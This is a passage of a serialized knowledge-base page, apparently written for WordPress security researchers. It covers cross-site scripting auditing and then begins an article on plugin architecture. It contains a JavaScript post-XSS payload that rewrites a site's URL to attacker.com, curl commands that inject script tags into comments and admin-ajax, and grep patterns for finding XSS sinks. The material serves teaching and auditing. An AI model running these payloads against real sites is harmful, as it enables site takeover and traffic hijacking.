`&_wpnonce_create-user=${nonce}`\n",[36,19296,19297],{"class":38,"line":267},[36,19298,19299],{},"    });\n",[36,19301,19302],{"class":38,"line":273},[36,19303,19304],{},"})();\n",[684,19306,19308],{"id":19307},"wordpress-option-modification","WordPress Option Modification",[26,19310,19312],{"className":19093,"code":19311,"language":19095,"meta":31,"style":31},"\u002F\u002F Modify site URL to redirect all traffic\n(async function() {\n    const nonceResp = await fetch('\u002Fwp-admin\u002Foptions-general.php');\n    const html = await nonceResp.text();\n    const nonce = html.match(\u002Fname=\"_wpnonce\" value=\"([^\"]+)\"\u002F)[1];\n    \n    await fetch('\u002Fwp-admin\u002Foptions.php', {\n        method: 'POST',\n        headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'},\n        body: `option_page=general&action=update&_wpnonce=${nonce}` +\n              `&siteurl=https:\u002F\u002Fattacker.com&blogname=Hacked`\n    });\n})();\n",[33,19313,19314,19319,19323,19328,19333,19338,19342,19347,19351,19355,19360,19365,19369],{"__ignoreMap":31},[36,19315,19316],{"class":38,"line":39},[36,19317,19318],{},"\u002F\u002F Modify site URL to redirect all traffic\n",[36,19320,19321],{"class":38,"line":46},[36,19322,19235],{},[36,19324,19325],{"class":38,"line":57},[36,19326,19327],{},"    const nonceResp = await fetch('\u002Fwp-admin\u002Foptions-general.php');\n",[36,19329,19330],{"class":38,"line":64},[36,19331,19332],{},"    const html = await nonceResp.text();\n",[36,19334,19335],{"class":38,"line":70},[36,19336,19337],{},"    const nonce = html.match(\u002Fname=\"_wpnonce\" value=\"([^\"]+)\"\u002F)[1];\n",[36,19339,19340],{"class":38,"line":78},[36,19341,16191],{},[36,19343,19344],{"class":38,"line":83},[36,19345,19346],{},"    await fetch('\u002Fwp-admin\u002Foptions.php', {\n",[36,19348,19349],{"class":38,"line":89},[36,19350,19274],{},[36,19352,19353],{"class":38,"line":115},[36,19354,19279],{},[36,19356,19357],{"class":38,"line":133},[36,19358,19359],{},"        body: `option_page=general&action=update&_wpnonce=${nonce}` +\n",[36,19361,19362],{"class":38,"line":138},[36,19363,19364],{},"              `&siteurl=https:\u002F\u002Fattacker.com&blogname=Hacked`\n",[36,19366,19367],{"class":38,"line":144},[36,19368,19299],{},[36,19370,19371],{"class":38,"line":158},[36,19372,19304],{},[18,19374,19376],{"id":19375},"grep-patterns-for-xss-auditing","Grep Patterns for XSS Auditing",[26,19378,19380],{"className":28,"code":19379,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Direct echo of user input (high confidence)\ngrep -rP \"echo\\s+\\\\\\$_(GET|POST|REQUEST|COOKIE)\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\ngrep -rP \"echo\\s+\\\\\\$_(GET|POST|REQUEST)\\[\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Output without escaping functions\ngrep -rn \"echo\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep -v \"esc_html\\|esc_attr\\|esc_url\\|wp_kses\\|absint\\|intval\\|\u002F\u002F \"\n\n# get_option \u002F get_post_meta echoed without escaping\ngrep -rn \"echo.*get_option\\|echo.*get_post_meta\\|echo.*get_user_meta\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Shortcode attribute output without escaping\ngrep -rn \"echo.*\\$atts\\|print.*\\$atts\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# JavaScript variable assignments with PHP data (potential DOM XSS source)\ngrep -rn \"var.*=.*\u003C?php\\|\u003C?php.*echo.*?>.*;\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# wp_localize_script with unsanitized data\ngrep -rn \"wp_localize_script\" \"$PLUGIN_DIR\" --include=\"*.php\" -A5 | \\\n  grep \"\\$_\\|get_option\\|get_post_meta\"\n\n# printf with user input (often overlooked)\ngrep -rP \"printf\\s*\\(\" \"$PLUGIN_DIR\" --include=\"*.php\" -n | \\\n  grep \"\\$_(GET|POST|REQUEST)\"\n\n# Attributes in HTML without esc_attr\ngrep -rP 'value=\"\\s*\u003C\\?php\\s+echo\\s+(?!esc_)' \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# JavaScript files with DOM sinks\ngrep -rn \"innerHTML\\|document\\.write\\|\\.html(\\|eval(\" \\\n  \"$PLUGIN_DIR\" --include=\"*.js\" -n\n\n# jQuery-based DOM manipulation with URL parameters\ngrep -rn \"location\\.search\\|location\\.hash\\|URLSearchParams\" \\\n  \"$PLUGIN_DIR\" --include=\"*.js\" -n\n",[33,19381,19382,19390,19394,19399,19426,19451,19455,19460,19483,19492,19496,19501,19512,19526,19530,19535,19566,19570,19575,19596,19600,19605,19630,19641,19645,19650,19675,19686,19690,19695,19716,19720,19725,19736,19751,19755,19760,19772],{"__ignoreMap":31},[36,19383,19384,19386,19388],{"class":38,"line":39},[36,19385,2415],{"class":605},[36,19387,1220],{"class":102},[36,19389,2420],{"class":53},[36,19391,19392],{"class":38,"line":46},[36,19393,61],{"emptyLinePlaceholder":60},[36,19395,19396],{"class":38,"line":57},[36,19397,19398],{"class":42},"# Direct echo of user input (high confidence)\n",[36,19400,19401,19403,19405,19408,19411,19414,19416,19418,19420,19422,19424],{"class":38,"line":64},[36,19402,490],{"class":49},[36,19404,574],{"class":95},[36,19406,19407],{"class":53}," \"echo\\s+",[36,19409,19410],{"class":95},"\\\\\\$",[36,19412,19413],{"class":53},"_(GET|POST|REQUEST|COOKIE)\"",[36,19415,625],{"class":53},[36,19417,2442],{"class":605},[36,19419,631],{"class":53},[36,19421,502],{"class":95},[36,19423,540],{"class":53},[36,19425,2906],{"class":95},[36,19427,19428,19430,19432,19434,19436,19439,19441,19443,19445,19447,19449],{"class":38,"line":70},[36,19429,490],{"class":49},[36,19431,574],{"class":95},[36,19433,19407],{"class":53},[36,19435,19410],{"class":95},[36,19437,19438],{"class":53},"_(GET|POST|REQUEST)\\[\"",[36,19440,625],{"class":53},[36,19442,2442],{"class":605},[36,19444,631],{"class":53},[36,19446,502],{"class":95},[36,19448,540],{"class":53},[36,19450,2906],{"class":95},[36,19452,19453],{"class":38,"line":78},[36,19454,61],{"emptyLinePlaceholder":60},[36,19456,19457],{"class":38,"line":83},[36,19458,19459],{"class":42},"# Output without escaping functions\n",[36,19461,19462,19464,19466,19469,19471,19473,19475,19477,19479,19481],{"class":38,"line":89},[36,19463,490],{"class":49},[36,19465,493],{"class":95},[36,19467,19468],{"class":53}," \"echo\"",[36,19470,625],{"class":53},[36,19472,2442],{"class":605},[36,19474,631],{"class":53},[36,19476,502],{"class":95},[36,19478,540],{"class":53},[36,19480,103],{"class":102},[36,19482,155],{"class":95},[36,19484,19485,19487,19489],{"class":38,"line":115},[36,19486,552],{"class":49},[36,19488,555],{"class":95},[36,19490,19491],{"class":53}," \"esc_html\\|esc_attr\\|esc_url\\|wp_kses\\|absint\\|intval\\|\u002F\u002F \"\n",[36,19493,19494],{"class":38,"line":133},[36,19495,61],{"emptyLinePlaceholder":60},[36,19497,19498],{"class":38,"line":138},[36,19499,19500],{"class":42},"# get_option \u002F get_post_meta echoed without escaping\n",[36,19502,19503,19505,19507,19510],{"class":38,"line":144},[36,19504,490],{"class":49},[36,19506,493],{"class":95},[36,19508,19509],{"class":53}," \"echo.*get_option\\|echo.*get_post_meta\\|echo.*get_user_meta\"",[36,19511,155],{"class":95},[36,19513,19514,19516,19518,19520,19522,19524],{"class":38,"line":158},[36,19515,3113],{"class":53},[36,19517,2442],{"class":605},[36,19519,631],{"class":53},[36,19521,502],{"class":95},[36,19523,540],{"class":53},[36,19525,2906],{"class":95},[36,19527,19528],{"class":38,"line":255},[36,19529,61],{"emptyLinePlaceholder":60},[36,19531,19532],{"class":38,"line":261},[36,19533,19534],{"class":42},"# Shortcode attribute output without escaping\n",[36,19536,19537,19539,19541,19544,19546,19549,19551,19554,19556,19558,19560,19562,19564],{"class":38,"line":267},[36,19538,490],{"class":49},[36,19540,493],{"class":95},[36,19542,19543],{"class":53}," \"echo.*",[36,19545,4591],{"class":95},[36,19547,19548],{"class":53},"atts\\|print.*",[36,19550,4591],{"class":95},[36,19552,19553],{"class":53},"atts\"",[36,19555,625],{"class":53},[36,19557,2442],{"class":605},[36,19559,631],{"class":53},[36,19561,502],{"class":95},[36,19563,540],{"class":53},[36,19565,2906],{"class":95},[36,19567,19568],{"class":38,"line":273},[36,19569,61],{"emptyLinePlaceholder":60},[36,19571,19572],{"class":38,"line":279},[36,19573,19574],{"class":42},"# JavaScript variable assignments with PHP data (potential DOM XSS source)\n",[36,19576,19577,19579,19581,19584,19586,19588,19590,19592,19594],{"class":38,"line":285},[36,19578,490],{"class":49},[36,19580,493],{"class":95},[36,19582,19583],{"class":53}," \"var.*=.*\u003C?php\\|\u003C?php.*echo.*?>.*;\"",[36,19585,625],{"class":53},[36,19587,2442],{"class":605},[36,19589,631],{"class":53},[36,19591,502],{"class":95},[36,19593,540],{"class":53},[36,19595,2906],{"class":95},[36,19597,19598],{"class":38,"line":291},[36,19599,61],{"emptyLinePlaceholder":60},[36,19601,19602],{"class":38,"line":297},[36,19603,19604],{"class":42},"# wp_localize_script with unsanitized data\n",[36,19606,19607,19609,19611,19614,19616,19618,19620,19622,19624,19626,19628],{"class":38,"line":303},[36,19608,490],{"class":49},[36,19610,493],{"class":95},[36,19612,19613],{"class":53}," \"wp_localize_script\"",[36,19615,625],{"class":53},[36,19617,2442],{"class":605},[36,19619,631],{"class":53},[36,19621,502],{"class":95},[36,19623,540],{"class":53},[36,19625,4659],{"class":95},[36,19627,103],{"class":102},[36,19629,155],{"class":95},[36,19631,19632,19634,19636,19638],{"class":38,"line":308},[36,19633,552],{"class":49},[36,19635,625],{"class":53},[36,19637,4591],{"class":95},[36,19639,19640],{"class":53},"_\\|get_option\\|get_post_meta\"\n",[36,19642,19643],{"class":38,"line":314},[36,19644,61],{"emptyLinePlaceholder":60},[36,19646,19647],{"class":38,"line":320},[36,19648,19649],{"class":42},"# printf with user input (often overlooked)\n",[36,19651,19652,19654,19656,19659,19661,19663,19665,19667,19669,19671,19673],{"class":38,"line":326},[36,19653,490],{"class":49},[36,19655,574],{"class":95},[36,19657,19658],{"class":53}," \"printf\\s*\\(\"",[36,19660,625],{"class":53},[36,19662,2442],{"class":605},[36,19664,631],{"class":53},[36,19666,502],{"class":95},[36,19668,540],{"class":53},[36,19670,1229],{"class":95},[36,19672,103],{"class":102},[36,19674,155],{"class":95},[36,19676,19677,19679,19681,19683],{"class":38,"line":331},[36,19678,552],{"class":49},[36,19680,625],{"class":53},[36,19682,4591],{"class":95},[36,19684,19685],{"class":53},"_(GET|POST|REQUEST)\"\n",[36,19687,19688],{"class":38,"line":337},[36,19689,61],{"emptyLinePlaceholder":60},[36,19691,19692],{"class":38,"line":343},[36,19693,19694],{"class":42},"# Attributes in HTML without esc_attr\n",[36,19696,19697,19699,19701,19704,19706,19708,19710,19712,19714],{"class":38,"line":349},[36,19698,490],{"class":49},[36,19700,574],{"class":95},[36,19702,19703],{"class":53}," 'value=\"\\s*\u003C\\?php\\s+echo\\s+(?!esc_)'",[36,19705,625],{"class":53},[36,19707,2442],{"class":605},[36,19709,631],{"class":53},[36,19711,502],{"class":95},[36,19713,540],{"class":53},[36,19715,2906],{"class":95},[36,19717,19718],{"class":38,"line":355},[36,19719,61],{"emptyLinePlaceholder":60},[36,19721,19722],{"class":38,"line":6676},[36,19723,19724],{"class":42},"# JavaScript files with DOM sinks\n",[36,19726,19727,19729,19731,19734],{"class":38,"line":6686},[36,19728,490],{"class":49},[36,19730,493],{"class":95},[36,19732,19733],{"class":53}," \"innerHTML\\|document\\.write\\|\\.html(\\|eval(\"",[36,19735,155],{"class":95},[36,19737,19738,19740,19742,19744,19746,19749],{"class":38,"line":6691},[36,19739,3113],{"class":53},[36,19741,2442],{"class":605},[36,19743,631],{"class":53},[36,19745,502],{"class":95},[36,19747,19748],{"class":53},"\"*.js\"",[36,19750,2906],{"class":95},[36,19752,19753],{"class":38,"line":6697},[36,19754,61],{"emptyLinePlaceholder":60},[36,19756,19757],{"class":38,"line":6721},[36,19758,19759],{"class":42},"# jQuery-based DOM manipulation with URL parameters\n",[36,19761,19763,19765,19767,19770],{"class":38,"line":19762},37,[36,19764,490],{"class":49},[36,19766,493],{"class":95},[36,19768,19769],{"class":53}," \"location\\.search\\|location\\.hash\\|URLSearchParams\"",[36,19771,155],{"class":95},[36,19773,19775,19777,19779,19781,19783,19785],{"class":38,"line":19774},38,[36,19776,3113],{"class":53},[36,19778,2442],{"class":605},[36,19780,631],{"class":53},[36,19782,502],{"class":95},[36,19784,19748],{"class":53},[36,19786,2906],{"class":95},[18,19788,19790],{"id":19789},"testing-methodology","Testing Methodology",[26,19792,19794],{"className":28,"code":19793,"language":30,"meta":31,"style":31},"TARGET=\"https:\u002F\u002Ftarget.example.com\"\n\n# 1. Identify all input fields and parameters\ncurl -s \"$TARGET\u002F\" | grep -oP 'name=\"[^\"]+\"' | sort -u\n\n# 2. Test reflected XSS with canary\nCANARY=\"xss_$(date +%s)\"\ncurl -s \"$TARGET\u002F?search=$CANARY\" | grep \"$CANARY\"\n\n# 3. Test stored XSS via comments (if enabled)\ncurl -s -X POST \"$TARGET\u002Fwp-comments-post.php\" \\\n  -d 'comment=\u003Cscript>alert(1)\u003C\u002Fscript>' \\\n  -d 'author=Test' \\\n  -d 'email=test@test.com' \\\n  -d 'comment_post_ID=1' \\\n  -d '_wp_unfiltered_html_comment=1'\n\n# 4. Probe admin pages for admin XSS\ncurl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \\\n  \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  --data-urlencode 'action=plugin_save_data' \\\n  --data-urlencode 'data=\u003Cscript>alert(document.domain)\u003C\u002Fscript>'\n\ncurl -s -b \u002Ftmp\u002Fadmin_cookies.txt \"$TARGET\u002Fwp-admin\u002F\" | grep -i \"alert\\|script\" | head -5\n",[33,19795,19796,19804,19808,19813,19841,19845,19850,19865,19893,19897,19902,19921,19930,19939,19948,19957,19964,19968,19973,19989,19999,20008,20015,20019],{"__ignoreMap":31},[36,19797,19798,19800,19802],{"class":38,"line":39},[36,19799,1886],{"class":605},[36,19801,1220],{"class":102},[36,19803,1891],{"class":53},[36,19805,19806],{"class":38,"line":46},[36,19807,61],{"emptyLinePlaceholder":60},[36,19809,19810],{"class":38,"line":57},[36,19811,19812],{"class":42},"# 1. Identify all input fields and parameters\n",[36,19814,19815,19817,19819,19821,19823,19825,19827,19829,19831,19834,19836,19838],{"class":38,"line":64},[36,19816,92],{"class":49},[36,19818,96],{"class":95},[36,19820,625],{"class":53},[36,19822,1911],{"class":605},[36,19824,15256],{"class":53},[36,19826,103],{"class":102},[36,19828,617],{"class":49},[36,19830,726],{"class":95},[36,19832,19833],{"class":53}," 'name=\"[^\"]+\"'",[36,19835,103],{"class":102},[36,19837,4330],{"class":49},[36,19839,19840],{"class":95}," -u\n",[36,19842,19843],{"class":38,"line":70},[36,19844,61],{"emptyLinePlaceholder":60},[36,19846,19847],{"class":38,"line":78},[36,19848,19849],{"class":42},"# 2. Test reflected XSS with canary\n",[36,19851,19852,19855,19857,19860,19862],{"class":38,"line":83},[36,19853,19854],{"class":605},"CANARY",[36,19856,1220],{"class":102},[36,19858,19859],{"class":53},"\"xss_$(",[36,19861,14342],{"class":49},[36,19863,19864],{"class":53}," +%s)\"\n",[36,19866,19867,19869,19871,19873,19875,19878,19881,19883,19885,19887,19889,19891],{"class":38,"line":89},[36,19868,92],{"class":49},[36,19870,96],{"class":95},[36,19872,625],{"class":53},[36,19874,1911],{"class":605},[36,19876,19877],{"class":53},"\u002F?search=",[36,19879,19880],{"class":605},"$CANARY",[36,19882,631],{"class":53},[36,19884,103],{"class":102},[36,19886,617],{"class":49},[36,19888,625],{"class":53},[36,19890,19880],{"class":605},[36,19892,668],{"class":53},[36,19894,19895],{"class":38,"line":115},[36,19896,61],{"emptyLinePlaceholder":60},[36,19898,19899],{"class":38,"line":133},[36,19900,19901],{"class":42},"# 3. Test stored XSS via comments (if enabled)\n",[36,19903,19904,19906,19908,19910,19912,19914,19916,19919],{"class":38,"line":138},[36,19905,92],{"class":49},[36,19907,96],{"class":95},[36,19909,792],{"class":95},[36,19911,795],{"class":53},[36,19913,625],{"class":53},[36,19915,1911],{"class":605},[36,19917,19918],{"class":53},"\u002Fwp-comments-post.php\"",[36,19920,155],{"class":95},[36,19922,19923,19925,19928],{"class":38,"line":144},[36,19924,818],{"class":95},[36,19926,19927],{"class":53}," 'comment=\u003Cscript>alert(1)\u003C\u002Fscript>'",[36,19929,155],{"class":95},[36,19931,19932,19934,19937],{"class":38,"line":158},[36,19933,818],{"class":95},[36,19935,19936],{"class":53}," 'author=Test'",[36,19938,155],{"class":95},[36,19940,19941,19943,19946],{"class":38,"line":255},[36,19942,818],{"class":95},[36,19944,19945],{"class":53}," 'email=test@test.com'",[36,19947,155],{"class":95},[36,19949,19950,19952,19955],{"class":38,"line":261},[36,19951,818],{"class":95},[36,19953,19954],{"class":53}," 'comment_post_ID=1'",[36,19956,155],{"class":95},[36,19958,19959,19961],{"class":38,"line":267},[36,19960,818],{"class":95},[36,19962,19963],{"class":53}," '_wp_unfiltered_html_comment=1'\n",[36,19965,19966],{"class":38,"line":273},[36,19967,61],{"emptyLinePlaceholder":60},[36,19969,19970],{"class":38,"line":279},[36,19971,19972],{"class":42},"# 4. Probe admin pages for admin XSS\n",[36,19974,19975,19977,19979,19981,19983,19985,19987],{"class":38,"line":285},[36,19976,92],{"class":49},[36,19978,96],{"class":95},[36,19980,709],{"class":95},[36,19982,13608],{"class":53},[36,19984,792],{"class":95},[36,19986,795],{"class":53},[36,19988,155],{"class":95},[36,19990,19991,19993,19995,19997],{"class":38,"line":291},[36,19992,3113],{"class":53},[36,19994,1911],{"class":605},[36,19996,4404],{"class":53},[36,19998,155],{"class":95},[36,20000,20001,20003,20006],{"class":38,"line":297},[36,20002,3811],{"class":95},[36,20004,20005],{"class":53}," 'action=plugin_save_data'",[36,20007,155],{"class":95},[36,20009,20010,20012],{"class":38,"line":303},[36,20011,3811],{"class":95},[36,20013,20014],{"class":53}," 'data=\u003Cscript>alert(document.domain)\u003C\u002Fscript>'\n",[36,20016,20017],{"class":38,"line":308},[36,20018,61],{"emptyLinePlaceholder":60},[36,20020,20021,20023,20025,20027,20030,20032,20034,20037,20039,20041,20043,20046,20048,20050],{"class":38,"line":314},[36,20022,92],{"class":49},[36,20024,96],{"class":95},[36,20026,709],{"class":95},[36,20028,20029],{"class":53}," \u002Ftmp\u002Fadmin_cookies.txt",[36,20031,625],{"class":53},[36,20033,1911],{"class":605},[36,20035,20036],{"class":53},"\u002Fwp-admin\u002F\"",[36,20038,103],{"class":102},[36,20040,617],{"class":49},[36,20042,12467],{"class":95},[36,20044,20045],{"class":53}," \"alert\\|script\"",[36,20047,103],{"class":102},[36,20049,5296],{"class":49},[36,20051,5299],{"class":95},[18,20053,20055],{"id":20054},"context-specific-escaping-reference","Context-Specific Escaping Reference",[4440,20057,20058,20071],{},[4443,20059,20060],{},[4446,20061,20062,20065,20068],{},[4449,20063,20064],{},"Context",[4449,20066,20067],{},"Function",[4449,20069,20070],{},"Example",[4456,20072,20073,20088,20103,20118,20133,20148,20163,20178],{},[4446,20074,20075,20078,20083],{},[4461,20076,20077],{},"HTML body",[4461,20079,20080],{},[33,20081,20082],{},"esc_html()",[4461,20084,20085],{},[33,20086,20087],{},"echo esc_html($text)",[4446,20089,20090,20093,20098],{},[4461,20091,20092],{},"HTML attribute",[4461,20094,20095],{},[33,20096,20097],{},"esc_attr()",[4461,20099,20100],{},[33,20101,20102],{},"echo '\u003Cinput value=\"'.esc_attr($val).'\">'",[4446,20104,20105,20108,20113],{},[4461,20106,20107],{},"URL in href\u002Fsrc",[4461,20109,20110],{},[33,20111,20112],{},"esc_url()",[4461,20114,20115],{},[33,20116,20117],{},"echo '\u003Ca href=\"'.esc_url($url).'\">'",[4446,20119,20120,20123,20128],{},[4461,20121,20122],{},"JavaScript string",[4461,20124,20125],{},[33,20126,20127],{},"esc_js()",[4461,20129,20130],{},[33,20131,20132],{},"echo 'var x = \"'.esc_js($val).'\";'",[4446,20134,20135,20138,20143],{},[4461,20136,20137],{},"CSS value",[4461,20139,20140,20142],{},[33,20141,20097],{}," + validation",[4461,20144,20145,20146],{},"Validate then ",[33,20147,20097],{},[4446,20149,20150,20153,20158],{},[4461,20151,20152],{},"Textarea",[4461,20154,20155],{},[33,20156,20157],{},"esc_textarea()",[4461,20159,20160],{},[33,20161,20162],{},"echo '\u003Ctextarea>'.esc_textarea($val).'\u003C\u002Ftextarea>'",[4446,20164,20165,20168,20173],{},[4461,20166,20167],{},"Rich HTML",[4461,20169,20170],{},[33,20171,20172],{},"wp_kses_post()",[4461,20174,20175],{},[33,20176,20177],{},"echo wp_kses_post($content)",[4446,20179,20180,20183,20188],{},[4461,20181,20182],{},"Translation",[4461,20184,20185],{},[33,20186,20187],{},"esc_html__()",[4461,20189,20190],{},[33,20191,20192],{},"echo esc_html__('text', 'domain')",[14,20194,20195,20196,20198],{},"Using the wrong escaping function for the context is a vulnerability. For example, ",[33,20197,20082],{}," in an attribute value does not prevent attribute injection via unquoted values.",[2645,20200,7392],{},{"title":31,"searchDepth":46,"depth":46,"links":20202},[20203,20210,20217,20218,20219,20224,20225,20226],{"id":17980,"depth":46,"text":17981,"children":20204},[20205,20206,20207,20208,20209],{"id":17987,"depth":57,"text":17988},{"id":18020,"depth":57,"text":18021},{"id":18053,"depth":57,"text":18054},{"id":18105,"depth":57,"text":18106},{"id":18152,"depth":57,"text":18153},{"id":18229,"depth":46,"text":18230,"children":20211},[20212,20213,20214,20215,20216],{"id":18233,"depth":57,"text":18234},{"id":18407,"depth":57,"text":18408},{"id":18555,"depth":57,"text":18556},{"id":18692,"depth":57,"text":18693},{"id":18783,"depth":57,"text":18784},{"id":18903,"depth":46,"text":18904},{"id":19086,"depth":46,"text":19087},{"id":19157,"depth":46,"text":19158,"children":20220},[20221,20222,20223],{"id":19161,"depth":57,"text":19162},{"id":19214,"depth":57,"text":19215},{"id":19307,"depth":57,"text":19308},{"id":19375,"depth":46,"text":19376},{"id":19789,"depth":46,"text":19790},{"id":20054,"depth":46,"text":20055},"Stored, reflected, and DOM XSS in WordPress, escaping functions, common vulnerable patterns, and impact scenarios including admin account takeover",{},"\u002Fknowledge-base\u002Fwordpress-cross-site-scripting",{"title":17969,"description":20227},"knowledge-base\u002Fwordpress-cross-site-scripting","tN1OGGAPUKS3W-mrZzUlrHKQAdkvZ1ciRasLaz33roU",{"id":20234,"title":20235,"body":20236,"category":2671,"description":23234,"extension":2673,"meta":23235,"navigation":60,"order":89,"path":23236,"seo":23237,"stem":23238,"__hash__":23239},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-plugin-architecture-for-security-researchers.md","WordPress Plugin Architecture for Security Researchers",{"type":7,"value":20237,"toc":23207},[20238,20241,20244,20248,20251,20257,20260,20390,20394,20397,20401,20407,20411,20545,20549,20552,20676,20738,20742,20746,20821,20937,20941,21002,21084,21088,21206,21278,21282,21342,21382,21386,21390,21584,21588,21829,21833,21836,21866,21869,21924,22130,22134,22358,22362,22485,22489,22493,22518,22579,22583,22617,22621,22651,22696,22700,22703,23205],[10,20239,20235],{"id":20240},"wordpress-plugin-architecture-for-security-researchers",[14,20242,20243],{},"Understanding how WordPress plugins are structured and loaded is fundamental to efficient security auditing. This article covers the anatomy of a plugin, the lifecycle of execution, and systematic approaches for identifying security-relevant code quickly.",[18,20245,20247],{"id":20246},"plugin-file-structure","Plugin File Structure",[14,20249,20250],{},"A typical WordPress plugin follows this structure:",[26,20252,20255],{"className":20253,"code":20254,"language":7026},[7024],"my-plugin\u002F\n├── my-plugin.php          # Main plugin file (required)\n├── includes\u002F\n│   ├── class-main.php     # Core plugin class\n│   ├── class-ajax.php     # AJAX handlers\n│   ├── class-rest.php     # REST API handlers\n│   ├── class-admin.php    # Admin page handlers\n│   └── class-frontend.php # Frontend hooks\n├── admin\u002F\n│   ├── views\u002F             # Admin page templates\n│   └── assets\u002F\n│       ├── js\u002Fadmin.js\n│       └── css\u002Fadmin.css\n├── public\u002F\n│   ├── views\u002F             # Frontend templates\n│   └── assets\u002F\n│       ├── js\u002Fpublic.js\n│       └── css\u002Fpublic.css\n├── languages\u002F             # Translation files\n└── vendor\u002F                # Third-party dependencies\n",[33,20256,20254],{"__ignoreMap":31},[14,20258,20259],{},"The main plugin file always starts with the plugin header comment:",[26,20261,20263],{"className":177,"code":20262,"language":179,"meta":31,"style":31},"\u003C?php\n\u002F**\n * Plugin Name: My Plugin\n * Plugin URI:  https:\u002F\u002Fexample.com\n * Description: Description here\n * Version:     1.2.3\n * Author:      Author Name\n * License:     GPL-2.0+\n *\u002F\n\n\u002F\u002F Security check: prevent direct file access\nif ( ! defined( 'ABSPATH' ) ) {\n    exit;\n}\n\n\u002F\u002F Define constants\ndefine( 'MY_PLUGIN_VERSION', '1.2.3' );\ndefine( 'MY_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );\ndefine( 'MY_PLUGIN_URL', plugin_dir_url( __FILE__ ) );\n\n\u002F\u002F Initialize plugin\nadd_action( 'plugins_loaded', 'my_plugin_init' );\nfunction my_plugin_init() {\n    require_once MY_PLUGIN_DIR . 'includes\u002Fclass-main.php';\n    new My_Plugin_Main();\n}\n",[33,20264,20265,20270,20275,20280,20285,20290,20295,20300,20305,20310,20314,20319,20324,20329,20333,20337,20342,20347,20352,20357,20361,20366,20371,20376,20381,20386],{"__ignoreMap":31},[36,20266,20267],{"class":38,"line":39},[36,20268,20269],{},"\u003C?php\n",[36,20271,20272],{"class":38,"line":46},[36,20273,20274],{},"\u002F**\n",[36,20276,20277],{"class":38,"line":57},[36,20278,20279],{}," * Plugin Name: My Plugin\n",[36,20281,20282],{"class":38,"line":64},[36,20283,20284],{}," * Plugin URI:  https:\u002F\u002Fexample.com\n",[36,20286,20287],{"class":38,"line":70},[36,20288,20289],{}," * Description: Description here\n",[36,20291,20292],{"class":38,"line":78},[36,20293,20294],{}," * Version:     1.2.3\n",[36,20296,20297],{"class":38,"line":83},[36,20298,20299],{}," * Author:      Author Name\n",[36,20301,20302],{"class":38,"line":89},[36,20303,20304],{}," * License:     GPL-2.0+\n",[36,20306,20307],{"class":38,"line":115},[36,20308,20309],{}," *\u002F\n",[36,20311,20312],{"class":38,"line":133},[36,20313,61],{"emptyLinePlaceholder":60},[36,20315,20316],{"class":38,"line":138},[36,20317,20318],{},"\u002F\u002F Security check: prevent direct file access\n",[36,20320,20321],{"class":38,"line":144},[36,20322,20323],{},"if ( ! defined( 'ABSPATH' ) ) {\n",[36,20325,20326],{"class":38,"line":158},[36,20327,20328],{},"    exit;\n",[36,20330,20331],{"class":38,"line":255},[36,20332,323],{},[36,20334,20335],{"class":38,"line":261},[36,20336,61],{"emptyLinePlaceholder":60},[36,20338,20339],{"class":38,"line":267},[36,20340,20341],{},"\u002F\u002F Define constants\n",[36,20343,20344],{"class":38,"line":273},[36,20345,20346],{},"define( 'MY_PLUGIN_VERSION', '1.2.3' );\n",[36,20348,20349],{"class":38,"line":279},[36,20350,20351],{},"define( 'MY_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );\n",[36,20353,20354],{"class":38,"line":285},[36,20355,20356],{},"define( 'MY_PLUGIN_URL', plugin_dir_url( __FILE__ ) );\n",[36,20358,20359],{"class":38,"line":291},[36,20360,61],{"emptyLinePlaceholder":60},[36,20362,20363],{"class":38,"line":297},[36,20364,20365],{},"\u002F\u002F Initialize plugin\n",[36,20367,20368],{"class":38,"line":303},[36,20369,20370],{},"add_action( 'plugins_loaded', 'my_plugin_init' );\n",[36,20372,20373],{"class":38,"line":308},[36,20374,20375],{},"function my_plugin_init() {\n",[36,20377,20378],{"class":38,"line":314},[36,20379,20380],{},"    require_once MY_PLUGIN_DIR . 'includes\u002Fclass-main.php';\n",[36,20382,20383],{"class":38,"line":320},[36,20384,20385],{},"    new My_Plugin_Main();\n",[36,20387,20388],{"class":38,"line":326},[36,20389,323],{},[18,20391,20393],{"id":20392},"wordpress-plugin-lifecycle","WordPress Plugin Lifecycle",[14,20395,20396],{},"Understanding when code runs is critical for identifying the attack surface:",[684,20398,20400],{"id":20399},"execution-order","Execution Order",[26,20402,20405],{"className":20403,"code":20404,"language":7026},[7024],"1. wp-config.php loads\n2. wp-settings.php loads\n3. mu-plugins\u002F loaded (in alphabetical order)\n4. plugins_loaded hook fires (active plugins loaded)\n5. init hook fires (after all plugins loaded)\n   - AJAX handlers registered here\n   - Custom post types registered here\n   - Shortcodes registered here\n6. wp hook fires (main WordPress query runs)\n7. template_redirect fires (before template selection)\n8. wp_head \u002F wp_footer fire (inside templates)\n9. shutdown hook fires (after response sent)\n",[33,20406,20404],{"__ignoreMap":31},[684,20408,20410],{"id":20409},"key-hooks-for-security-research","Key Hooks for Security Research",[26,20412,20414],{"className":177,"code":20413,"language":179,"meta":31,"style":31},"\u002F\u002F plugins_loaded: Earliest reliable hook after plugins are active\nadd_action( 'plugins_loaded', function() {\n    \u002F\u002F Plugin classes and functions available\n    \u002F\u002F Good place to register REST routes, check for activation, etc.\n});\n\n\u002F\u002F init: Most common hook for registrations\nadd_action( 'init', function() {\n    \u002F\u002F AJAX handlers, shortcodes, rewrite rules\n    \u002F\u002F Note: is_user_logged_in() is available here\n});\n\n\u002F\u002F admin_init: Admin-only initialization\nadd_action( 'admin_init', function() {\n    \u002F\u002F Register settings, handle form submissions\n    \u002F\u002F Only runs on admin pages (including 